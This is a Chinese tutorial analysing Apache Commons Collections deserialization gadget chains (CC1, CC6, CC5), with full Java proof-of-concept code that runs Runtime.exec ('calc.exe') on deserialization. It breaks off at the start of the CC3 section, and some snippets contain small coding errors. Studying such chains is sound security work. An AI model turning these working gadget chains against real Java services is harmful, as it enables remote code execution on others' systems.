谭谭CommonsCollections的二三事

前言

Apache Commons Collections是一个扩展了Java​标准库里的Collection​结构的第三方基础库,它提供了很多强有力的数据结构类型并实现了各种集合工具类,被广泛运用于各种Java​应用的开发,目前常说的存在缺陷的版本是Apache Commons Collections 3.2.1​以下(4.0版本也是存在的)

其主要特点如下

Bag - Bag接口简化了每个对象具有多个副本的集合。
BidiMap - BidiMap接口提供双向映射,可用于使用键或键使用的值来查找值。
MapIterator - MapIterator接口为映射提供了简单和易于迭代方法。
转换装饰器 - 转换装饰器(Transforming Decorators)可以在集合添加到集合时改变集合的每个对象。
复合集合 - 复合集合用于要求统一处理多个集合的情况。
有序映射 - 有序映射保留元素添加的顺序。
有序集 - 有序集保留元素添加的顺序。
参考映射 - 参考映射允许在密切控制下对键/值进行垃圾收集。
比较器实现 - 许多比较器实现都可用。
迭代器实现 - 许多迭代器实现都可用。
适配器类 - 适配器类可用于将数组和枚举转换为集合。
实用程序 - 实用程序可用于测试测试或创建集合的典型集合理论属性,如联合,交集。 支持关闭。

但是 其中却出现了严重的安全问题

来源于一个功能 —— 转换装饰器 可以在集合添加到集合时改变集合的每个对象。(CVE-2015-4852)

首先 我们搭建一下测试环境 JDK1.7 和 3.1版本的CC包

然后把我们的测试demo放进去

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChain
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

okok 至少是好用的 下面就可以开始分析了

同时 也放出p牛的极简版demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"C:\\\\WINDOWS\\System32\\calc.exe"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        outerMap.put("test", "xxxx");
    }
}

也是ok的嗷

方式与接口介绍

TransformedMap

他是可以对Java标准数据结构 Map 做一个修饰 被修饰过的Map在添加新的元素时可以执行一个回调

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

我们可以通过上面这串代码 对innerMap进行修饰 传出的outerMap就是修饰后端Map 同时 可以通过TransformedMap.decorate() 方法 来获得一个TransformedMap的实例

官方文档中 keyTransformer是 处理新元素Key的回调 valueTransformer是处理新元素value的回调

这里的回调 并不是传统意义上的回调函数 而是一个实现了Transformer接口的类

Transformer

他是一个接口 只有一个待实现的方法

public interface Transformer {
    Object transform(Object var1);
}

TransformedMap 在转换 Map 的新元素时,就会调⽤ transform ⽅法,这个过程就类似在调⽤⼀个 回调函数 ,这个回调的参数是原始对象。

​​

ConstantTransformer

他是实现了Transformer接口的一个类 他的过程就是在构造函数时传入一个对象并在transform方法 将这个对象返回

public ConstantTransformer(Object constantToReturn) {
    this.iConstant = constantToReturn;
}

public Object transform(Object input) {
    return this.iConstant;
}

所以 他的作用就是 包装任意一个对象 在执行回调的时候 返回这个对象

InvokerTransformer

InvokerTransformer 是 实现了Transformer接口的一个类 可以用来执行任意方法 也是反序列化的关键

在实例化这个InvokerTransformer的时候 需要三个参数 第一个是待执行的方法名 第二个是这个函数的参数列表的参数类型 第三个是传给这个函数的参数列表

一些继承

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
     super();
     iMethodName = methodName;
     iParamTypes = paramTypes;
     iArgs = args;

在这个类中实现的transform方法如下

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}

就是执行了input 对象的iMethodName方法

这一段代码就是对于反射的实现 getClass() getMethod() invoke()

ChainedTransformer

跟上面的一样 也是实现了Transformer接口的一个类 其作用是 将内部的多个Transformer串在一起 前一个回调返回的结果 作为后一个回调的参数传入

public Object transform(Object object) {
    for(int i = 0; i < this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

利用一个循环,把一串 transform 串起来

接口回调

以一个栗子来说明 接口回调就像是上级领导要求你做某一件事,你在做完这个事之后向领导汇报你做完了、有什么结果,这个汇报的行为就是接口回调的概念所在。

反射内容扩展

Constructor.newInstance

在之前p牛的文章中 我们曾见到过这个函数 也就是 和Class.newInstance()一起介绍的

Class.newInstance() 只能够调用无参的构造函数,即默认的构造函数;但是 Constructor.newInstance() 可以根据传入的参数,调用任意构造构造函数。Class.newInstance() 要求被调用的构造函数是可见的,也即必须是 public 类型的,但是 Constructor.newInstance() 在特定的情况下,可以调用私有的构造函数,需要通过 setAccessible(true) 实现。

public T newInstance(Object... initargs)
  throws InstantiationException, IllegalAccessException,
         IllegalArgumentException, InvocationTargetException

首先 我们需要用到一个新的 反射方法 getConstructor 其与getMethod相类似 其接受的参数还是有 构造函数列表类型 因为 构造函数也支持重载 所以 必须用参数列表类型parameterTypes才能确定一个唯一的构造函数

public Constructor<T> getConstructor(Class<?>... parameterTypes) throws NoSuchMethodException,SecurityException

比如 我们常用的一种执行命令的凡是 ProcessBuilder 我们可以适用反射来获取其构造函数 然后调用start() 来执行命令 java.lang.ProcessBuilder中 有两个构造函数 但是都是有参数的 非默认的函数

​public ProcessBuilder(List<String> command) public ProcessBuilder(String... command)​

JDK安装目录下的jre\lib下的rt.jar存放的是所有的class文件,安装目录下的src.zip存放的是所有的源代码

我们还是可以利用forName来获取类的对象 然后后续再利用getMethod("")和 invoke() 获取构造方法 并调用start执行命令 这里参数可以直接写在Constructor.newInstance 中 作为构造方法的参数

package test;

import java.util.Arrays;
import java.util.List;

public class test {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe")));
    }
}

引用类型转换

或者 我们可以这样写

package test;

import java.util.Arrays;
import java.util.List;

public class test {
    public static void main(String[] args) throws Exception{
        Class clazz = Class.forName("java.lang.ProcessBuilder");
        ((ProcessBuilder) clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))).start();
    }
}

这样用到的就是一个强制类型转换 是在引用过程中发生的引用类型转换

如此写 我们可以省略掉 之前反射中的getMethod.invoke 的步骤

可变参数

我们前面有提到 ProcessBuilder是有两个构造方法的

刚才上面是第一个 下面看一下第二个

public ProcessBuilder(String... command),这里是 JAVA 中的 可变长参数 ,当你定义函数的时候不确定参数数量的时候,可以使用 ... 这样的语法来表示“这个函数的参数个数是可变的” 也就是我们常说的可变参数 但是 在使用这种方式表达的时候 Java在编译的时候实际上会将其编译成一个数组 所以这种表达方式 和 String[] 这种表达方式 是等价的 且不能重载

也就是说 当我们传入一个数组的时候 这里的可变参数 实际上也是可以当数组来用的 我们认定其为数组就OK

所以 我们将字符串数组的类 String[].class 传给 getConstructor 获取ProcessBuilder的第二种构造函数

Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getConstructor(String[].class)

在调用newInstance的时候 因为本身这个函数接受到的就是一个可变参数 是一个数组 我们传给ProcessBuilder的也是一个数组 叠加就会编程二维数组 String[][]

我们将上面的两个调用方法稍加修改

Class clazz = Class.forName("java.lang.ProcessBuilder");
((ProcessBuilder)clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})).start();
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(getConstructor(String[].class).newInstance(new String[][]{{"calc.exe"}})));

执行私有方法

涉及到getDeclared系列的反射 与我们之前的getMethod的区别在于

getMethod系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
getDeclaredMethod系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了

现在我们可以这样 下面用到了一个getDeclaredConstructor() 可以获取一个私有的

Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");

这里用到了一个setAccessible 是必须的 我们获取到一个私有方法的时候 必须使用setAccessible修改其作用域 来打破私有方法的访问限制

CommonsCollections 1

TransformedMap

P牛的demo

我们可以先顺着main函数来看

一开始涉及到了 一个实例化接口的操作 虽说接口不能直接被实例化 但是 像这种情况出现 其后面肯定不止有接口 会存在一些匿名内部类 在匿名内部类的创建过程中 实际上实例化了一个实现接口 未命名的类

众所周知 在Java的多态中 父类可以引用指向子类对象

在这里也是一样 接口可以指向其实例化对象 实例化对象中 必然会实现接口中定义的方法和属性 同时 对象的类型必须是new出来的类型

Runnable runnable = new Runnable()

不过引用只能调用接口定义的方法 我们这里的数组声明就是这个概念的一个延申

插入 Java 数组的定义方法 dataType[] arratRefVar = xxx ,当然也可以像 PHP 一样把中括号跟在数组名后面,但是并不是首选的方法,首选方法还是写出来的这种。

再顺着看

在这里创建了一个ChainedTransformer包含两个Transformer 实现了Transformer接口的两个类 ConstantTransformer 和 InvokerTransformer 前者 用来得到Runtime 对象 后者调用Runtime对象的exec方法 后面跟了RCE的参数

再往下看

是一个实例化 ChainedTransformer 就是会将上面数组中写的几个Transformer串在一起

然后就是TransformedMap 因为 我们这里是一系列的回调 我们需要用其来包装innerMap 用我们一开始提到的decorate便可以

然后通过outerMap放入一个新的元素 就可以触发一串回调

转化poc

当然 在实际中 自然不会有添加上的outerMap.put() 来触发回调 我们需要找到一个类 在反序列化readObject的时候有类似写入的操作

AnnotationInvocationHandler

这里的用到的类就是 sun.reflect.annotation.AnnotationInvocationHandler ,我们看到它的 readObject 方法(8u71之前的代码):

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

这里的核心逻辑就是Map.Entry<String, Object> memberValue : memberValues.entrySet()​ 和

​memberValue.setValue(...)​

memberValues就是反序列化之后得到的Map 经过了TransformeredMap修饰的对象 遍历了所有元素 并依次设置值 在调用setValue设置值的时候 就会触发TransformedMap里注册的Transform

所以 当我们构造poc的时候 就需要构建一个AnnotationInvocationHandler对象 将前面构造的HashMap放置进来

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);

这里因为 sun.reflect.annotation.AnnotationInvocationHandler 是在JDK内部的类,不能直接使用new来实例化。我使用反射获取到了它的构造方法,并将其设置成外部可见的,再调用就可以实例化 了。

AnnotationInvocationHandler类的构造函数有两个参数,第一个参数是一个Annotation类;第二个是参数就是前面构造的Map。为什么是Annotation类又为什么是要使用Retention.class呢

为什么需要使用反射

在上面我们构造了一个AnnotationInvocationHandler对象 他就是我们反序列化利用链的起点了 通过如下代码将这个 对象生成序列化流

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

我们将这段代码拼接到demo代码的后面

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]
                                {"C:\\\\WINDOWS\\System32\\calc.exe"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("test", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

但是好像还是不能直接生成一个序列化数据流

在writeObject的时候出现了问题 java.io.NotSerializableException: java.lang.Runtime​

意思就是这个并不是一个支持序列化的对象 我们待序列化的对象 和 所有他使用的内部属性对象 必须都是实现了 java.io.Serializable 接口 我们最早传进去的Runtime.getRuntime() 中并没有实现此接口 所以不能被实例化

所以 我们需要用到反射 直接通过反射来获取当前上下文中的Runtime对象 并不需要直接使用到这个类

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("C:\\\\WINDOWS\\System32\\calc.exe");

我们融合进去就是 将Runtime.getRuntime() 换成 Runtime.class 前者是java.lang.Runtime 的一个对象 后者是java.lang.Class 对象 Class类又Serializable接口 可以被反序列化

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new
Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new
Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] {
"/System/Applications/Calculator.app/Contents/MacOS/Calculator" }),
};
仍然无法触发

在我们依据上面修改之后 输出了序列化之后的数据流 但是 反序列化 并没有弹出计算器 这是为什么捏

这个实际上和AnnotationInvocationHandler类的逻辑有关,我们可以动态调试就会发现AnnotationInvocationHandler:readObject 的逻辑中,有一个if语句对var7进行判断,只有在其不是null的时候才会进入里面执行setValue,否则不会进入也就不会触发漏洞:

在我们满足以下两个条件的时候 var7不为null

  1. sun.reflect.annotation.AnnotAationInvocationHandler 构造函数的第一个参数必须是Annotation的子类,且其中必须含有至少一个方法,假设方法名是X

  2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以 在上面引入了Retention.class 在其中有一个方法 名为value 为了再满足第二条件 我们需要在map中放入一个键名为value的元素 也就是

​innerMap.put("value", "xxxx");​

但是 在高版本中 这个地方无法再进行利用 因为 对于AnnotAationInvocationHandler.readObject 已经被修改了

在这里 新添加了一个LinkedHashMap​ 这个LinkedHashMap​ 会将我们之前构造的键值给添加进去 同时 后续的put set操作 都是在基于这个新对象进行的 也就不会触发rce了

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class cc1 {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0]
                }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] {
                                "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
                transformerChain);
        Class clazz =
                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class,
                Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)
                construct.newInstance(Retention.class, outerMap);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

LazyMap

LazyMap也是来自于Common-Collections 库 并继承AbstractMapDecorator

故名思意 其意为 懒加载 当你get不到值的时候 此类就会调用factory.transform方法 去获取一个值

public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

与之前的TransformedMap不同之处在于 TransformedMap是在写入元素的时候 执行transform 而LazyMap 是在当你get找不到值的时候 会调用factory.transform获取一个值

在ysoserial中 是使用了AnnotationInvocationHandler类的invoke方法 来调用到get

调用栈

那么我们在之前TransformedMap可以直接完成我们的调用 但是在LazyMap中 我们还需要调用AnnotationInvocationHandler类的invoke 也就是 我们需要解决 从AnnotationInvocationHandler类的readObject 到 invoke的问题 在ysoserial中 使用到的是Java的对象代理

在这里 我们使用到 java.reflect.Proxy 来实现在静态语言中 对一个对象内部的方法进行调用 类似于 php中的__call

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

其中 newProxyInstance 方法有三个参数

public static Object newProxyInstance(ClassLoader loader,
                                          Class<?>[] interfaces,
                                          InvocationHandler h)
        throws IllegalArgumentException

loader 使用哪个类加载器 去加载代理对象 这个我们一般用默认的即可

interfaces 动态代理需要实现的接口 是我们需要代理的对象的集合

h 动态代理方法执行的时候 会调用h里面的invoke方法执行 一个 InvocationHandler​ 对象

package org.vulhub.Ser;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws
Throwable {
if (method.getName().compareTo("get") == 0) {
System.out.println("Hook method: " + method.getName());
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}

在这个类 中 我们定义了一个invoke方法 也就是在模仿在AnnotationInvocationHandler的invoke方法 我们 现在需要从外部调用这个invoke方法

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        InvocationHandler handler = new ExampleInvocationHandler(new
                HashMap());
        Map proxyMap = (Map)
                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},
                        handler);
        proxyMap.put("hello", "world");
        String result = (String) proxyMap.get("hello");
        System.out.println(result);
    }
}

在这里 h参数的位置 填入了我们之前写出的一个ExampleInvocationHandler类 也就是会调用到其中的invoke方法 虽然我们传入了helloworld 但还是 输出了 Hacked Object 我们可以如法炮制 在AnnotationInvocationHandler处也如此操作

​sun.reflect.annotation.AnnotationInvocationHandler​ 也是一个 InvocationHandler​ 对象 我们将这个对象 使用 Proxy代理 当我们调用任何方法 都会进入到invoke中

我们代理的对象 是proxyMap 但是我们不能直接进行序列化 我们的入口点是sun.reflect.annotation.AnnotationInvocationHandler#readObject​ 我们需要使用AnnotationInvocationHandler​ 将其包裹一下 AnnotationInvocationHandler​是继承了serializable接口的

CommonsCollections 6

cc6解决的是 cc1 在jdk高版本中无法成功利用的问题

先给出ysoserial的利用链

与之前有所不同的是 在cc6中 没有再使用AnnotationInvocationHandler​中的readObject 但是最后落脚点还是再LazyMap的get方法上

同时 给出p牛的简化版的利用链

Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
*/

也就是说 在这里 我们还是需要再找一个调用到LazyMap.get() 的地方 于是乎 我们盯上了TiedMapEntry​

public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }

其中 构造函数TiedMapEntry map是我们可控的 同时 再getValue中调用了map.get 在hashCode中 又调用了getValue

那么 任务就变成了找哪里调用到了 TiedMapEntry#hashCode()​ 在ysoserial中 使用了3步 而在p牛的步骤中 从java.util.HashSet#readObject 中 就能找到 HashMap#hash()​的调用

调用栈是这样子的

接下来我们来手动写一下gadget

先将transformchain写出来

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(fakeTransformer);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

这里还先构造了一个fakeTransformers 可以避免在本地调试的时候 触发命令执行 只需要在最后将我们的transformers替换进去即可

Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};

然后需要把我们上面构造的outerMap 放到 TiedMapEntry中

TiedMapEntry tme = new TiedMapEntry(outerMap,"key");

后面 我们还需要 调用到 TiedMapEntry#hashCode()​ 方法 我们需要将tme对象作为HashMap中的一个key 这里我们需要新建一个HashMap

补上 生成序列化字符串 和本地测试

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();

构造完成之后 尝试运行 但是 并没有弹出计算机

在我们进行调试找问题的时候 我们发现

因为key值不为空 进入了else语句 而 我们所需要的是在上面transform

那么 我们需要在原有的利用链上 稍加修改 将这个key去掉 得到如下的poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[]{new
                ConstantTransformer(1)};
                Transformer[] transformers = new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                        new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}),
                        new InvokerTransformer("exec",new Class[]{String.class},new String[]{"calc.exe"})
                };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f =
                ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

我们在加上了outerMap.remove("keykey");​

确实将key去掉了

可在Java7 和 8 的高版本触发 没版本限制

CommonsCollections 5

先给出 ysoserial的调用链

同样与 CC6 比较一下

这里没有再使用HashMap 来作为readObject之后的入口 使用了BadAttributeValueExpException​ 来触发TiedMapEntry.toString在上面 我们使用了TiedMapEntry的getvalue方法 这里我们使用toString 我们看一下toString方法

public String toString() {
return this.getKey() + "=" + this.getValue();
}

在toString中 依旧是调用到了getValue方法 后面也就是和CC6链相同了

那么现在我们的问题在于 找一个调用了toString的地方

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);
    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

这里在BadAttributeValueExpException​ 中 存在toString的调用 val是私有变量 并不能被直接调用 我们需要使用反射来调用

Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);//设置可以访问
val.set(badAttributeExpException, tiedMapEntry);

这里的Field也就是java.lang.reflect.Field,是成员变量类

当你使用Class.getField()​获取非公有的变量的时候 会报错 下面这张图给出了几种方法

我们这里使用getDeclaredField方法 成功利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class cc5 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

        //Transformer数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };

        //ChainedTransformer实例
        Transformer chainedTransformer = new ChainedTransformer(transformers);

        //LazyMap实例
        Map uselessMap = new HashMap();
        Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer);

        //TiedMapEntry 实例
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"test");

        //BadAttributeValueExpException 实例
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //反射设置 val
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);

        //序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();

        //测试反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
        ois.close();

    }

}

CommonsCollections3

‍

TemplatesImpl

​com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl​类中定义了一个内部类 TransletClassLoader 在此类中重写了defineClass方法

Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

